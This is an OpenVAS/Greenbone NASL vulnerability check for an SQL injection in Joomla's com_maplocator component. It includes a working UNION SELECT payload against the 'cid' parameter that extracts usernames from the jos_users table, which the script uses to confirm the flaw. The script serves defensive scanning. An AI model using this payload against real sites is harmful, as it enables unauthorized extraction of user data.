Joomla Component 'com_maplocator' SQLi Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:joomla:joomla";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902375");
  script_version("2026-04-30T06:27:06+0000");
  script_tag(name:"last_modification", value:"2026-04-30 06:27:06 +0000 (Thu, 30 Apr 2026)");
  script_tag(name:"creation_date", value:"2011-06-01 11:16:16 +0200 (Wed, 01 Jun 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_name("Joomla Component 'com_maplocator' SQLi Vulnerability");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("joomla_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/detected");

  script_tag(name:"impact", value:"Successful exploitation will let attackers to conduct SQL Injection attacks
  and gain sensitive information.");

  script_tag(name:"affected", value:"Joomla com_maplocator component.");

  script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input via the
  'cid' parameter in 'index.php', which allows attacker to manipulate SQL queries by injecting arbitrary SQL code.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the
  disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to
  a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"Joomla with com_maplocator component is prone to an SQL injection (SQLi) vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/101608/joomlamaplocator-sql.txt");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe:CPE))
  exit(0);

if (!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if (dir == "/")
  dir = "";

vt_strings = get_vt_strings();

url = dir + '/index.php?option=com_maplocator&view=state&cid=null+AND+1=0+union+select+1,2,concat(username,0x3a,' +
            '0x' + vt_strings["default_hex"] + ')fl0rix,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users--';

if (http_vuln_check(port: port, url: url, pattern: '>admin:' + vt_strings["default"])) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);